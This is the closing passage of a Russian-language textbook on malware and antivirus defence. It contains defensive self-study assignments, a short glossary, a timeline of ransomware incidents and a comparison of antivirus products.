приносит ущерб, а в руках защитника спасает данные, системы и человеческие
судьбы.
Мир вредоносных программ будет становиться только сложнее. Но теперь у
вас есть фундамент — систематизированные знания о природе, создании,
обнаружении и лечении вирусов, включая самые передовые аспекты,
связанные с искусственным интеллектом. Используйте эти знания, чтобы
строить безопасное цифровое будущее. Помните, лучший способ защититься
— понимать врага. И самая надёжная зашита — это подготовленный,
постоянно обучающийся специалист.
Итоговые задания для самопроверки
1. Синтезируйте изученный материал. Напишите аналитическую записку для
гипотетического руководителя службы безопасности крупной компании.
Опишите текущий ландшафт угроз (с учётом ИИ-вирусов), слабые места
типовой корпоративной сети и предложите многоуровневую стратегию
защиты, охватывающую технические, организационные и образовательные
меры. Обоснуйте каждый пункт ссылками на конкретные угрозы и механизмы,
рассмотренные в книге.
2 Проведите исследование. Выберите одно из недавних резонансных
киберсобытий (например, атаку с использованием вымогателя,
эксплуатирующего уязвимость в цепочке поставок, или кампанию с
дипфейками). Проанализируйте его с использованием методологии,
изложенной в учебнике' определите класс вредоносного ПО, механизм
распространения, методы закрепления, использованные техники обхода
защиты Предложите, как можно было бы предотвратить или минимизировать
ущерб.
3. Спроектируйте будущее. Опишите сценарий кибератаки 2035 года, в котором
задействованы полностью автономные ИИ-агенты, и предложите архитектуру
защитной системы, способной ей противостоять. Какие технологии и
принципы, рассмотренные в книге, лягут в её основу? Какие новые этические и
правовые дилеммы возникнут?
ПРИЛОЖЕНИЯ
Глоссарий терминов
Основные термины, используемые в книге:
Вирус — самореплицирующаяся программа, внедряющаяся в другие
исполняемые объекты.
Червь — самореплицирующаяся программа, распространяющаяся по сеги без
заражения файлов.
Троян — вредоносная программа, маскирующаяся под легитимную.
Стеле — техника сокрытия присутствия
Руткит— набор средств для скрытого контроля над системой.
... (полный список приведён ранее).
Хронология знаковых вирусных эпидемий
(Дополнить таблицу из главы 0.2 событиями последних лет: 2019 — Ryuk, 2021
— Colonial Pipeline, 2022 — LockBit атаки, 2023 — Clop через MOVEit и т.д.)
Сравнительный анализ современных антивирусных решений
Сравнение продуктов по архитектуре: Microsoft Defender (встроенный,
облачный, песочница), Kaspersky Endpoint Security, Crowdstrike Falcon (EDR/ML),
SentinelOne. Анализ по методикам AV-Cornparatives и MITRE ATT&CK
Evaluations.